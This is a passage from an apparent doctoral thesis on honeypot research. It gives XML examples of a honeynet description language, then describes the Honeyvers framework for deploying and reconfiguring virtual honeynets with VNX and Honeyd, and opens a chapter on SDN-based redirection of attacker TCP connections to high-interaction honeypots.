      <name>ethernet adapter</name> <ipv4>10.1.0.2/24</ipv4>
    </if>
    <route id= "1">
      <dst>default</dst> <gw>10.1.0.1</gw>
    </route>
    <operating_system>
      <name>Windows7</name> <version>sp1</version>
    </operating_system>
    <service id= "1">
      <name>http</name> <port>80</port>
    </service>
  </honeypot>
</honeynet>
```

```

    <software id= "1">
      <name>Cuckoo</name> <version>v2.0</version>
    </software>
  </honeypot>

  <honeypot id= "2">
    <name>pc2</name>
    <interaction_level>medium</interaction_level>
    <if id= "1" net= "net2">
      <name>eth0</name> <ipv4>10.2.0.2/24</ipv4>
    </if>
    <route id= "1">
      <dst>default</dst> <gw>10.2.0.1</gw>
    </route>
    <operating_system>
      <name>Ubuntu</name> <version>14.10</version>
    </operating_system>
    <software id= "1">
      <name>Amun</name> <version>v0.1.9</version>
    </software>
  </honeypot>

  <honeypot id= "3">
    <name> pc3</name>
    <interaction_level>low</interaction_level>
    <if id= "1" net= "net2">
      <name>eth0</name>
      <mac_addr>00:00:00:ee:db:20</mac_addr>
      <ipv4>10.1.0.2/24</ipv4>
    </if>
    <route id= "1">
      <dst>default</dst> <gw>10.2.0.1</gw>
    </route>
    <operating_system>
      <name>WindowsXP</name> <version>sp2</version>
    </operating_system>
    <service id= "1">
      <name>http</name> <port>80</port>
    </service>
  </honeypot>
</honeynet>

```


This example described by the TIHDL has 3 nets, 1 router, and 3 honeypots, and the honeynet topology is depicted by Figure 23.

Figure 23. An example of honeynet described by TIHDL

The pc1 is defined as a high-interaction honeypot with windows 7 operating system and sp1 service pack. Therefore, it will be implemented as a fully functional system running on a virtual machine with the specified operating system and service pack installed. Besides, the Cuckoo sandbox is specified as the honeypot software to be run on pc1 in order to capture malicious system behavior. As it can be seen, the specification of the services running inside a HIH is very simple by design. In this case only the service name and the port are specified. All the configuration details, such as set the initial webpages of the http server, can be specified during the file system preparation phase. The honeynet management tool will supply some file system images with default configuration, however if the user wants to customize the image, e.g. specify different initial webpage for the web server, the system provides a procedure to clone the default image or provide a new one and make the modifications according to the requirements. The new image can be stored with a different identifier into the system to force that image to be used for honeypot deployment. In this way, the user can easily start a web server with default web pages if a specific content is not important, or use a modified image in case he needs to provide its own content. In Chapter 6, we present in a more detailed way the procedure to create new file system images on demand and how to associate file system images to honeypots.

The pc2 is a medium-interaction honeypot. A MIH is made of a honeypot software which provides both the decoys and the security program by itself. The decoys are these vulnerable services emulated by the MIH software. The security program provided by the MIH software will capture the malicious traffic connecting to these vulnerable services. Note that in a MIH all the vulnerable services must be emulated by the MIH software, otherwise if there are some fully functional services

running on the honeypot, it would be considered as a HIIH rather than a MIIH. In addition, the MIIH software also needs configuration, such as specify which services to be emulated. Similar to the modification of the image for the HIIH, we can also configure the MIIH software, which will be described in detail in Chapter 6 as well.

The pc3 is a low-interaction honeypot that will be emulated by Honeyd in our system. Hence, we provide all the parameters that the Honeyd needs, such as the operating system, the service started and the open ports they listen on. Indeed, the LIH only emulates the fingerprint of the required operating system, so there is not any real operating system or service software running to implement the decoy. Hence, the language does not allow the specification of software in the case of LIH, as they only emulate vulnerable services but cannot install software or capture system activities in it, as we have already mentioned in the state of the art.

Besides, the honeynet has three subnets connected by the router r1. The net0 connects the Internet. The net1 currently only includes the pc1 and the net2 consists of pc2 and pc3.

If the user wants to reconfigure the scenario, a reconfiguration request needs to be provided. In our language, the state of any entity can be changed in order to reconfigure the honeynet scenario. For the ease of configuration, the user only needs to specify the things changed in the reconfiguration request, the management tool will check the content and compare it to the current configuration and make the modification. For instance, we want to add a new medium-interaction honeypot, pc4, into the net1, so we can make a reconfiguration request as follows:

```
<honeynet>
  <honeypot id= "4" status= "running">
    <name> pc4</name>
    <interaction_level>medium</interaction_level>
    <if id= "1" net="net1">
      <name>eth0</name>
      <ipv4>10.1.0.3/24</ipv4>
    </if>
    <route id= "1">
      <dst>default</dst>
      <gw>10.1.0.1</gw>
    </route>
    <software id= "1">
      <name>Amun</name>
      <version>v0.1.9</version>
    </software>
  </honeypot>
</honeynet>
```

Consequently, the honeynet scenario will become as Figure 24 shows.

Figure 24. A new honeypot is added into the net1

After that, we can consider to delete one subnet, net2, from the whole honeynet. The reconfiguration request can be made like this:

```
<honeynet>
  <net id= "2" status= "down">
    <name>net1</name>
  </net>
</honeynet>
```

Note that the honeypots deployed in the net2 will be deleted as well when the net2 is deleted. Hence, the consequent scenario will become what Figure 25 shows.

Figure 25. A subnet is deleted from the whole honeynet scenario

The next example could be to delete a honeypot, pc1, from the honeynet scenario. We should make a reconfiguration request as follows:

```
<honeynet>
```

```

<honeypot id= "1", status= "shutdown">
  <name>pc1</name>
</honeypot>
</honeynet>

```

Subsequently, there is only one honeypot, pc4, left in the honeynet scenario (see Figure 26).

Figure 26. A honeypot is deleted from the honeynet scenario

In addition, the honeypot can be switched into other states, such as “suspended”, in that case we just need to make a corresponding reconfiguration request in terms of changing the value of the parameter status.

For the last example, we just want to add a new subnet, net3, which includes a medium-interaction honeypot, pc5. Note that the new added net should be connected to an interface of the router r1. So, the reconfiguration request should include the changing information about both the net3, pc5 and the interface eth2 of the r1.

```

<honeynet>
  <net id= "3", status= "up">
    <name>net3</name>
  </net>

  <router id= "1">
    <name>r1</name>
    <if id= "3" net= "net3" status= "up" >
      <name>eth2</name>
      <ipv4>10.3.0.1/24</ipv4>
    </if>
  </router>

```

```

<honeypot id= "5", status= "running">
  <name> pc2</name>
  <interaction_level>medium</interaction_level>
  <if id= "1" net= "net2">
    <name>eth0</name>
    <ipv4>10.2.0.2/24</ipv4>
  </if>
  <route id= "1">
    <dst>default</dst>
    <gw>10.3.0.1</gw>
  </route>
  <software id= "1">
    <name>Amun</name>
    <version>v0.1.9</version>
  </software>
</honeypot>
</honeynet>

```

Consequently, the final honeynet scenario in this case can be shown as follows (see Figure 27):

Figure 27. A new subnet including a new honeypot is added into the honeynet scenario

Note that all the requests to create or modify a honeynet specified by means of TIHDL have to be translated into the corresponding specific deployment platform-based primitives in order to have the status specified in TIHDL synchronized with the status of the underlying system entities. The transformation mechanism used to implement this synchronization will be described in Chapter 6. Nevertheless, in order to deal with the complexity of the systems deployed, there are some other parameters need to be configured, such as the configuration of the underlying software, the map of

the interaction level and the honeypot deployment tool, etc. The configuration of these parameters will be provided by the honeynet management tool (as mentioned before, the TIHDL will be used by the honeynet management tool), which will be presented in Chapter 6 as well.

5.5. Conclusion

In this chapter, we proposed the technology independent honeynet description language (TIHDL), considering the characteristic and the special requirement of the honeynet description. The TIHDL is a honeynet request, configuration and management language. It is a general language designed to describe the honeynets, covering their specific characteristics in terms of service, operating system and network topology. It is defined being independent of the platform where the honeynet will be automatically deployed. CIM is technology independent and its data models provide almost every aspect of the computer networks. However, not all the data models of CIM are suitable for honeynet description. Hence, TIHDL filters the unsuitable data models but inherits and evolves the useful data models from CIM. TIHDL also follows the generic description style of Honeyd which proposed a virtual honeynet BNF-syntax based description language providing general descriptions for honeynet. Furthermore, TIHDL emulates the schema of VNX configuration language, which provides an XML syntax based virtual computer network configuration language. Therefore, TIHDL is a generic and flexible honeynet description language and it is simple to grasp and the syntax is easy to understand.

CHAPTER 6. HETEROGENEOUS HONEYPOT SYSTEM MANAGEMENT

Each type of homogeneous honeypot systems has its own characteristics in respect of specific security functionality, and typically can be used to a limited set of specific application scenarios. In a practical scenario, therefore, security researchers always need to apply heterogeneous honeypots to cope with different attacks. However, there is a lack of general tools or platforms that can support versatile honeynet deployment in order to investigate the malicious behavior. In this chapter, we therefore propose a versatile virtual honeynet management subsystem in the context of our proposed system architecture to address this problem. This tool uses the TIHDL to describe the honeynet specification. It is a flexible tool that offers security researchers the versatility to deploy various types of decoys. It can also generate and manage the virtual honeynet through a dynamic configuration approach adapting to the mutable network environment.

6.1. Introduction

At present, honeypots are usually employed to investigate malicious behavior including network traffic and system activity. However, each type of honeypot has its own inherent features and limitations and frequently researchers have to use multiple honeypot tools to investigate intrusions or attacks.

Firstly, for example, Honeyd, a representative LIH, can emulate an entire network, with each decoy having its own unique fake services bind to the operating system it is emulating, and even the emulated IP stacks are modified to replicate the proper OS fingerprint. In this way, when tools like Nmap are used to actively fingerprint a network, the detected OS and services behavior would reflect the services configured by Honeyd user. Honeyd has a lightweight design and provides a good capacity of concurrently emulating multiple decoys that facilitates the creation of complex honeynet scenarios. However, Honeyd has an important drawback. It provides little interaction to the adversaries since attackers could only typically connect to certain ports and read the banners. For

example, with Honeyd it would be possible to make think an attacker that he is accessing a network made of a variety of Cisco, Solaris and Linux systems. The attacker could try to access an emulated system, such as Solaris, but he will only receive a login banner without being able to get access to the system because there is no real operating system to access. Every access attempt would be logged by Honeyd, but the utility of the information captured is limited, as the interaction of the attacker with the honeypot is very limited. Nevertheless, Honeyd provides the capacity to attach user-defined scripts to the honeypots in order to emulate more complex behaviors.

Another type of honeypots is MIH, such as Amun and Dionaea, which provide much more interaction to the adversaries and even it allows catching the malicious payloads. They can emulate a variety of vulnerable services based on the TCP/IP network stacks which are implemented and managed by the underlying operating system where the MIH installs. It is extremely useful to detect attacks, deceive the attacker, and especially, catch automated attacks such as worm and malware. However, it is limited by the fact that it emulates known vulnerabilities, and its security program only focuses on capturing the malicious traffic accessing to its emulated vulnerable services. Thus, this approach supplies a limited amount of information, which restricts the security researchers to gain enough information about the adversaries.

Thirdly, a genuine computer system running as a honeypot is called HIIH, since it can provide a fully functional operating system to the adversaries. Through using HIIHs, the security researchers can capture not only the network activity but also the system activity. It can provide a variety of services as MIH does, but instead of emulating services, one HIIH just fully implement them. Also, a honeynet can include multiple HIIHs that are installed various operating systems, which allows providing the decoy versatility as well. Therefore, HIIHs can combine the best of both LIH and MIH, but the scalability is its main drawback due to their high resource consumption for large scale deployment. Besides, the deployment of HIIHs has the risk that they can be completely comprised. Thus, there must be a containment mechanism to restrict the outgoing traffic from it to avoid attacking outside production systems.

As presented previously in the detailed classification and analysis of honeypot systems made in CHAPTER 3, fidelity and scalability are two of the main characteristics of a honeypot system. Figure 28 shows the range of fidelity and scalability of the different types of honeypots just mentioned, which are proportional to the depth and width of security monitoring respectively. If the decoy provides higher interaction level, the security program will be able to observe deeper activity. If the decoys can be deployed in large-scale, the security program can monitor attacks in wider scope. A natural consequence of the classification and analysis is that any individual honeypot system has

an inherent trade-off between different characteristics in order to meet its own design and application requirements.

Figure 28. Fidelity vs. Scalability of trade-off of honeypot types

Therefore, the functionalities of a single honeypot are limited. A group of various single honeypots can provide more capable capacities. As such, the probable approach to solve the limitation mentioned above is to build a platform that is flexible enough to support versatile honeynet deployment in order to trap and investigate the attacks with appropriate decoys.

Additionally, there are at least two technological considerations regarding honeynet deployment. Firstly, compared to deploying physical honeynet, which is not widely used since its management limitation and resource cost, using virtualized tools is more efficient in term of resource usage. Secondly, the production network environment is mutable, thus the honeynet deployment should be able to configure dynamically to adapt to the real time production network environment.

However, it is a tedious task to configure and generate a virtual honeynet manually, and even a complex task if the virtual honeynet is required to adapt to the network environment almost instantly. So, it is necessary to have an automated tool to configure, deploy and manage a flexible honeynet. Therefore, we propose a versatile virtual honeynet enabling tool, Honeyvers, which acts as the honeypots deployer of our whole honeypot system previously described in CHAPTER 4. The main contribution of Honeyvers is to provide a coherent implementation that meets these requirements:

- 1) It can manage the deployment of heterogeneous honeypots.
- 2) It can facilitate the dynamic reconfiguration of the honeypots.
- 3) It can deploy honeynets for different security goals.

6.2. Honeynet Deployment and Management Framework

In this section, Honeyvers framework (standing for versatile honeynet) is presented. Honeyvers consists of six components (see Figure 29). These components should work together to accomplish a complete honeynet deployment. Through the whole Honeyvers architecture, the seven major components are: the sensor, the request processor, the configuration engine, the honeynet template repository, the specific translation modules and the deployment tools as well as the management interface. Besides, the request described by incomplete TIHDL, the honeynet scenario specification described by complete TIHDL and the development tool configuration are used separately at each step of the honeynet generation flow.

Figure 29. An Overview of Honeyvers Architecture

The request for creating a honeynet can be made manually by security researchers or automatically by other security tools, such as the requests generation component of an IRS or a

network cloning sensor that can automatically collect the information of the target network and create a honeynet resembling the real network. As soon as the framework receives the honeynet request, the request processor will firstly check the request syntax and, if it is correct, it will pass the request content to the configuration engine to process.

The template repository stores some honeynet scenarios. The idea of providing some default templates is aimed to provide examples of honeynet description to users. The user can directly apply the template to deploy honeynets, or even modify them according to their own requirement but the modified parameters are limited to the already presented parameters in the template. So, there are several types of requests that can be made. First, if the request refers to a template (only indicates the name of the template and nothing else), then the configuration engine will apply the requested template to create the honeynet scenario. Second, if the request refers to a template but modifies some values to the corresponding parameters, then the configuration engine will make a new scenario combining with the template and the new values of parameters. Third, the user sends a complete honeynet description, so the configuration engine will just check its completeness and correction and provide it to the translation module for deployment. In addition, there is another interesting possibility, which is the support of receiving incomplete requests that refer to a template but let some of the parameters open to allow the configuration engine to complete the honeynet specification following advanced algorithms implemented inside an inference engine. This would open the possibility of creating honeynets based on machine learning algorithms based, for example, on the past requests or training data sets.

Afterwards, the corresponding translation module will translate the general honeynet description into the specific configurations for the target deployment tools used in that honeynet scenario. Thereafter, the deployment tools will finally deploy the requested honeynet by processing each one its corresponding specific configuration.

After a honeynet scenario is created, its specification will be stored in a scenario database. The user can use the management interface to check the information of the created scenario.

The design and implementation of some of the Honeyvers functions previously described lead to some research and technological challenges that will be described in the next subsections in detail.

6.3. Transformation methodology

To create such honeynet configuration and management tool, a technology independent honeynet description language is needed to allow specifying the topology and characteristics of the

systems composing a honeynet. As previously described, we use TIHDL, which is specifically designed for this purpose. Once a honeynet has been described using TIHDL, the description has to be translated into the specific languages of the underlying deployment platforms, in order to finally deploy the honeynet over specific virtualized platforms. This process is similar to the high-level programming languages that have to be compiled or interpreted into low-level languages, such as assembly language, which can be read, understood, and executed by the machine.

As the TIHDL-based general specification file must be transformed to a specification file that can be further recognized by specific deployment tool, this section proposes a methodology for transforming TIHDL into other deployment platform specifications. The process of transformation methodology covers two components: the configuration engine and the transformation modules. The configuration engine needs to separate the scenario into sub-scenarios in terms of the interaction level of the honeypots. The honeypots belong to the same interaction level will be grouped in the same sub-scenario. Thereafter, the sub-scenario will be translated by the corresponding transformation module into the specification of the deployment platform. The transformation methodology consisting of the scenario separation and transformation will be described in the next two subsections.

6.3.1. Scenario division

As we mentioned before, the tool is versatile because the user can easily deploy the same scenario described by the TIHDL over different deployment platforms. The transformation methodology is the key that makes the versatility and facilitate the translation from TIHDL to the platform languages. Hence, before the configuration engine sends the scenario to the corresponding transformation module, it has to separate the scenario in terms of the deployment tools into several sub-scenarios.

Figure 30. Honeynet scenario separation

For example, the honeynet shown in Figure 30 could be deployed using Honeyd to implement LIHs and VNX to implement MIHs and HIHs. In this case, as the requested honeynet scenario includes all types of decoys in terms of different interaction levels, the configuration engine will have to divide the original honeynet scenario into two sub-scenarios: one including all LIHs to be processed by the Honeyd transformation module; and another including MIHs and HIHs to be processed by the VNX transformation module.

In summary, in this example the system will use two transformation modules to perform the translation task. The VNX transformation module is designed to translate the TIHDL-based honeynet sub-scenario, which can include both of MIHs and HIHs, into a VNX scenario specification.

6.3.2. Scenario transformation

Due to the fact that our technology independent honeynet description language uses XML syntax, we propose to use the XML schema mapping technique to facilitate the transformation.

Schema mapping technique refers to the generation of assertions or queries from the schema correspondences between elements of the source and target schema. Additionally, the relative term, schema matching, refers to establish correspondences between elements of the source and target schemas. The schema matching performed between two schemas with the same level of granularity is called horizontal schema matching. The schema matching otherwise from a general schema into a specific schema is named vertical schema matching. Therefore, schema mapping is aimed to create the executable code that semantically specifies how data structured under one schema (the source schema) is to be transformed into data structured under a different schema (the target schema).

The XML schema mapping has several advantages:

- 1) The translation can be automatized to a high level. If the XML schemas of the languages are available, the schema mapping technique allows creating executable code easily, which can be used to translate the source XML into the target XML. Furthermore, there are a number of automated and semi-automated tools, which can facilitate the task of XML schema mapping, even though the mapping accuracy is hard to reach 100% [152][153][154][155][156].
- 2) It can be also applied to other deployment platforms based on languages like YAML or JSON. The schema of YAML and JSON can be easily converted to XML schema in order to perform the XML schema mapping. The XML file can be easily transformed in to YAML and JSON file as well.

Table 9. The language syntax used in the representative platforms

Platform	Description of the used language	Language syntax
Web-Based Enterprise Management	Common information Model (CIM)	XML
PlanetLab	GENI v3 resource specification	XML
OpenStack Orchestration	Heat Orchestration Template (HOT)	YAML
Google Cloud Deployment Manager	Templates specification	YAML or JSON

Table 9 shows some representative platforms whose management or request language uses XML, YAML and JSON, which could be integrated in the honeynet system by developing the corresponding transformation module.

Therefore, we propose an XML schema mapping based transformation methodology, which is graphically presented in Figure 31, in order to facilitate the versatile honeypots deployment.

Figure 31. An overview of the XML schema mapping based transformation methodology for versatile honeypots deployment

The transformation methodology includes two time domains: the application development time and the application use time. The application development time is used to integrate a new deployment platform through implementing the transformation executable code and defining the customization information as well as providing the default values. The application use time refers to

the process of applying the transformation executable code and customization information (that can be provided by the user) to deploy a honeynet scenario. The rest of the section describes every component in detail in order to clarify the whole transformation methodology.

Schema Converter – This component will be used when the target description language uses other language syntax such as YAML and JSON. The objective of this component is to transform the target schema using other language syntax into XML schema. So, if the target description language uses XML schema, the step of applying this component can be skipped.

Schema Mapping Tool – This component is used to achieve the schema matching task and generate the executable transformation code. Hence, a schema mapping tool often performs two actions: schema matching and transformation code generating, as Figure 32 shows. The first action semantically identifies the schema correspondences according to the source and target schema, which results in a mapping file including the schema correspondence specification. The second action generates the transformation executable code according to the schema correspondence specification. The executable code can be Extensible Stylesheet Language Transformations (XSLT) or XQuery script.

Figure 32. XML schema mapping process

Note that the first action can be done manually by an application developer or automatically by a schema matching tool. As identifying the schema correspondence is a complex task, there are a number of proposals for automatically achieving the schema matching task. However, the automated schema matching works well for horizontal matching while is incapable of vertical matching.

Our transformation includes horizontal and vertical schema matching. For example, in building the schema matching between the TIHDL and VNX schema, the schema correspondence of the element “ip address” of the two schemas is horizontal, but the schema correspondence of the element “file system” is vertical. Because TIHDL only needs abstract value, such as “Windows 7” for the parameter, while VNX needs a dedicated qcow2 image for deploying the virtual honeypot.

Transformation Process – At this step, the input, i.e. the XML-based source honeynet specification is processed according to the transformation executable code to generate an abstract target honeynet specification that later would have to be customized with the user provided customization information before being sent to the deployment platform.

Customization Process – It is aimed to generate the target specification that would be provided to the deployment tool. For each specific deployment tool, the user can provide customization information in order to modify the default values used during the translation by the Customization Process, which is a script-based program used to replace the abstract specification by the customization data. The customization information is defined by the application developer in the form of a mapping hash structure, which is as follows:

```

XPath_TargetElement1 {
    GeneralValue1 => SpecificValue1;
    GeneralValue2 => SpecificValue2;
}
XPath_TargetElement2 {
    GeneralValue1 => SpecificValue1;
    GeneralValue2 => SpecificValue2;
}

```

In the hash structure, every block is named by the XPath of the target element whose general value needs to be concretized. In each block, the key-value pair is composed of the general value and the specific value. This kind of hash map is set in the Honeyvers configuration file (see Appendix II). The customization algorithm is shown in Table 10:

Table 10. Algorithm 1 Honeyvers Customization

1. GET the hash structure
2. GET the abstract target specification
3. FOR each element of the abstract target specification
4. IF element = one block name of the hash structure
5. FOR each key in the block
6. IF element equal to one key
7. SET element value to the key value
8. ENDIF
9. ENDFOR
10. ENDIF
11. ENDFOR
12. DISPLAY the target specification

Language converter – This component is used to transform the XML specification into other language-based specification, such as these based on YAML and JSON that we have mentioned before. Therefore, if the final corresponding deployment tool just needs XML specification, this step can be skipped as well.

6.3.3. Transformation module

Now that the transformation methodology is proposed, we can use it to implement the transformation module. In order to make an easy explanation, we assume the target specification uses XML schema such as VNX, so the transformation module working in the user time can be summarized in Figure 33.

Figure 33. An overview of transformation module working in user time

Each transformation module consists of the Transformation Process, the Customization Process, the transformation executable code and the customization information that includes default data values and, optionally, the customized data provided by the user. Among these components, the Transformation Process and Customization Process are developed by the system developer, while the transformation executable code and customization information should be provided and defined respectively by the application developer for each corresponding transformation module.

In addition, though our transformation methodology can work well for most of the specification languages, there are some specific syntax-based languages where our transformation methodology is not suitable, such as BNF. As there is not a good solution to automatically convert the BNF grammar into XML schema, in that case, we recommend using a script-based translation technique to implement the transformation module. That is the case of Honeyd, which uses a text BNF syntax based language. Therefore, the Honeyd transformation module will only consist of a manually developed script-based translation program and the default or customized data.

6.4. Dynamic deployment tools

As stated, the TIHDL can allow users to dynamically configure the honeynet specification, such as add, set, and delete elements, through changing the elements' state. Hence, the Honeyvers needs to provide the function of dynamic configuration, which can be described as follows.

We assume one honeynet has been initiated and its specification is stored in the database. Later, the system receives a dynamic request. The system compares the request specification to the stored honeynet description in terms of the elements' state. If the comparison result shows that the request specification is different from the stored one, the Configuration Engine will calculate the differences of the states of the changed elements, such as the honeypots, the services and the ports, which should be added, removed or even set new value. Thereafter, the differences will be processed by the transformation methodology, which includes separating the requests according to different deployment platforms and transform the request into target specification or commands that can be executed by the underlying deployment tools. At the same time, the system needs to update the database in terms of the changed specification.

Therefore, in order to concrete the dynamic function, the deployment tools must possess the capability of dynamic deployment. For example, the Honeyd and VNX are the tools that can be used to deployed decoys dynamically. So, they can be considered being used by Honeyvers as the virtualized tools to take the responsibility of deploying honeypots dynamically.

Honeyd can emulate multiple decoys simultaneously following a certain network topology. It has a doorway called Honeydctl to communicate its inner workings. Honeydctl can be used to reconfigure the templates dynamically. All commands used in the regular configuration file of Honeyd template can be interactively used after "honeydctl>" prompt, however, this is also the weakness of Honeydctl: the user has to input the commands interactively, one by one. Instead of interacting with Honeydctl, Honeyd allows users to reconfigure the Honeyd templates through a UNIX socket located in /var/run/honeyd.sock. Hence, the user can reconfigure the Honeyd templates by a client socket with Honeyd-commands scripts. Besides, each Honeyd template only has two states: created and deleted. However, in our TIHDL we have four states to every decoy. Thus, the translation module of Honeyd has to map the four states into these two Honeyd corresponding states.

On the other hand, there are a lot of MIHs which can only emulate stand-alone system, e.g. Dionaea and Amun. Thus, they need a scalable deployment tool to hold them. Moreover, a virtual HIIH also needs guest virtual machine as the deployment carrier to contain it. Thus, VNX is employed since i) its scalability in creating HIIHs, due to the ability to deploy virtual network scenarios over a cluster of

servers; ii) its ability to individually reconfigure any decoy dynamically without influencing other decoys; and iii), it integrates multiple hypervisors such as KVM and LXC and can also supply dynamic configuration.

Figure 34. State diagram of a virtual machine emulated by VNX

Figure 34 shows the state diagram of a KVM based HIH emulated by VNX. A virtual machine emulated by VNX has five states. They are undefined, defined, running, suspended and hibernated. These states are not new things, and we just follow the states of libvirt and use the same terminologies. VNX has developed functions that can switch a virtual honeypot from one state to any other state. The user only needs to write a reconfiguration file based on XML syntax, later he can use VNX to automatically reconfigure the scenario by processing the reconfiguration file.

So, the decoy states of TIHDL need to be translated to the corresponding states of the decoy implemented by VNX and Honeyd. The correspondences of decoy states between TIHDL and VNX as well as Honeyd are illustrated in Table 11.

Table 11. The correspondence of states transformation

TIHDL	VNX	Honeyd
Running	Running	Create
Suspended	Suspended	Destroy
Hibernated	Hibernated	Destroy
Shutdown	Defined	Destroy
Destroyed	Undefined	Destroy

6.5. Conclusion

A honeypot is deliberately used to be probed, attacked and compromised, in order to protect production systems, as well as investigate the well-known and, especially, the unknown attacks. Due to the requirement of applying heterogeneous honeypots to various attacks, in this chapter, we have proposed a versatile virtual honeynet management tool called Honeyvers that can configure heterogeneous honeypots based on the generic language called TIHDL. Thanks to the combination of VNX and Honeyd, Honeyvers can emulate various individual honeypots. The performance of data capture mainly depends on the selected underlying honeypot software, while Honeyvers focus on the upper management.

CHAPTER 7. TRAFFIC FILTERING AND REDIRECTION MECHANISM

Honeypot is a type of security system can be used to capture intrusion events. However, data capture is often related with two factors, i.e. scalability and fidelity. A hybrid honeypot that consists of frontends and backends is a special honeypot system which can get balance between scalability and fidelity, because the frontends can monitor large-scale IP address spaces and the backends can provide fully functional systems to guarantee fidelity. Therefore, it is an important functionality to filter the uninteresting traffic and redirect the interesting traffic from the frontends to the backends. In this chapter, a SDN based transparent traffic redirection mechanism is proposed to facilitate traffic filtering and redirection in the context of network data controller of our honeypot system.

7.1. Introduction

In practical terms, a honeypot system should provide several traffic control mechanisms such as: 1) a traffic filtering mechanism for data reduction according to different network scenarios; 2) an outgoing traffic filtering to avoid compromising non-honeypot systems on the Internet, or even could redirect them back to the other honeypots; 3) a connection handoff mechanism for redirecting the interesting traffic from the frontend (LIH or MIH) to backend (HIH) for further investigation.

As mentioned in the state of the art of CHAPTER 2, for the inbound data filtering, the access control devices such as the firewalls and gateways are often used to perform the data reduction. For the outbound data filtering, one of the most well-known tools used in honeypot projects is the Honeywall, which can undertake containment to the outbound traffic. As considering the solutions of traffic redirection, there are a number of approaches have been proposed. The most recent honeypot related tool for conducting TCP connection handoff is the Honeybrid. We propose to apply the SDN (Software Defined Networking) technology to facilitate these traffic control mechanisms, since the SDN's high programmability can greatly fulfill the data control requirements of a honeypot system.

Indeed, a number of advantages of SDN can be briefly introduced, so we mentioned some of them in the following contents.

First of all, SDN networks work in a different way from the traditional one due to the key factor that the control plane is separated from the data plane. The control plane manages the traffic forwarding rules and installs them as flow entries into the data plane. The data plane forwards the traffic according to the forwarding rules in its forwarding table installed by the control plane. One single control plane may control multiple forwarding elements.

Second, SDN aims for centralization. Currently, network elements make routing and forwarding decisions according to their point of view of the topology. Each device uses routing tables and exchange routing information using dynamic routing protocols. A centralized controller has a better view over the entire topology and is able to make better decisions how to use the network resources. For example, it will not route the traffic over a congested link or will not route the traffic towards a device, which has a link failure. Whole forwarding decision would be made on the control plane and the data plane would just simply forward the traffic according to the forwarding rules installed by the control plane. This would decrease overhead on the forwarding network elements and increase throughput over the devices.

Third, SDN supports the BYOD (Bring Your Own Device) and vendor independence theories. Devices, which have SDN capabilities enabled, should support the basic forwarding operation and rule evaluation mechanisms. To deploy a new network service into the network, administrators have to implement the service just into the SDN controller. Based on the algorithm the controller will be able to install the forwarding rules to the data plane devices. Using such approach, it is very simple to implement for example a load balancer without upgrading or replacing the forwarder switch.

Therefore, SDN aims to separate the system that decides the direction of traffic (control plane) from the underlying systems that forward traffic to the selected destination (data plane). Hence, the capability of flow control is the innate advantage of SDN. The programmable SDN based network can allow the system administrator to dynamically configure the data plane according to the requirements. At present, the SDN technology has been widely used in the research field of network security in distributed systems. In [158], the SDN based NICE system was proposed. The NICE system is indeed an intrusion response system (IRS), because it includes a number of attack countermeasures. It sufficiently makes use of the network data and applies the scenario attack graph (SAG) as well as the network intrusion detection system (NIDS, i.e. Snort) to analyze the network activity in order to detect the suspicious VMs and even the compromised ones. Due to the fact that it focuses on detecting the zombies or botnets for preventing DDoS attacks, the attack countermeasures mainly consisting of

network reconfiguration, packet manipulation, and simple traffic containment, which can be facilitated by SDN breezily. The fact that the NICE does not use honeypots but the production VMs makes it is hard to detect the anomaly-based attacks, i.e. zero-day attacks. Thus, it is unable to reduce the negative false alarm. Therefore, the NICE is powerful to confine the spread of the well-known signature-based attacks among production systems, while it is limited to investigate the anomaly-based attacks.

7.2. Traffic redirection mechanism

As stated, in a hybrid honeypot scenario, the traffic redirection mechanism is aimed to redirect the interesting traffic from the frontend (LIH or MIH) to the backend (HIH) for in-depth investigation. One essential requirement is to make the traffic redirection as transparent as possible in order to avoid being detected.

To carry out the transparent traffic redirection mechanism, the SDN controller has to take into account header information of three protocols -Ethernet, IP and TCP- in order to manage a flow. Ethernet and IP protocols are stateless. Thus, for these two protocols, the redirection engines only need to check the IP address and the MAC address of the target honeypot to the inbound packets. As stated, in order to address the identical-fingerprint problem, a set of honeypots with different interaction level should use the same IP and MAC address. Hence, the redirection engine does not change the requested IP address and MAC address. It only relies on the out ports of the OpenFlow based switch to change the flow direction to different honeypots that use the same MAC and IP address (see Figure 35).

Figure 35. SDN based traffic redirection

However, when the redirection engine handles the protocols in the transport layer, the situation will be different. As it is known, the TCP protocol is different from the UDP protocol. The UDP

protocol is stateless so that the only task of the controller is to check payload the UDP packet and forward it to a destination or even discard it. But TCP's stateful nature implies that multiple fields need to be updated when the connection is redirected. TCP is built to provide a reliable stream of packets between the source and the destination of the communication. This reliability is guaranteed through several mechanisms that prevent packets to be lost, or to be received at the application layer in the wrong order. These mechanisms include a sequence number randomly generated by the source and the destination, to number the bytes transmitted, which is acknowledged and incremented by each network stack to guaranty that all the packets are transmitted correctly.

As stated, the problem resides in the fact that the initial Seq number of the segments sent by the TCP server side of a TCP connection is randomly chosen by the TCP server side. So, when redirecting a TCP connection, the system that receives the connection will normally choose a different value from the one chosen by the system that initially received the connection. Thus, to facilitate the transparent TCP connection hand over, the main issue is to synchronize the Seq and Ack values related to the sequence numbers chosen by the server side. Otherwise, the communication between the attacker and the honeypot would fail, because even if the source and destination addresses of the packets were correct, the TCP session would not work since both sides would not use the same sequence number values.

Therefore, the redirection engine needs to address the open issue of the TCP connection hand over from one established end to another one. In our design, the SDN controller plays as the front end that is used to answer the TCP connection request from the attacker through progressing the three-way handshake, and then finish the TCP connection establishment. Afterwards, the controller will receive the first payload packet, and make a decision on the payload packet. Thereafter, the redirection engine will perform the TCP connection replay mechanism to hand off the connection to a suitable honeypot candidate. When the redirection engine takes over a TCP connection established between the attacker and controller, and redirects it to the honeypot, it needs to update the sequence (Seq) and acknowledgment (Ack) numbers of both packets coming from the attacker and packets coming from the honeypot to conserve the characteristics of the header that were established between the attacker and the controller. These characteristics include the size of the TCP window and the TCP options.

There are several ways to address this problem:

- 1 Impose the initial sequence number of the connections transferred. That could be done in two main ways:

- 1.1 Be able to predict the Seq number that the honeypot will choose so that the controller can start with the same Seq number that the one that the honeypot would choose from the start;
 - 1.2 Allow the controller to set the Seq number that the honeypot will choose.
- 2 Modify sequence numbers on the fly. There are two possible ways of doing that:
- 2.1 Configure the data plane to send all the packets to the controller to modify the Seq and Ack numbers (Seq number in outbound packets and Ack in inbound ones), to synchronize them to the sequence number value chosen by the honeypot;
 - 2.2 Modify the data plane to include a new function to synchronize the Seq and Ack numbers through increasing or decreasing them.

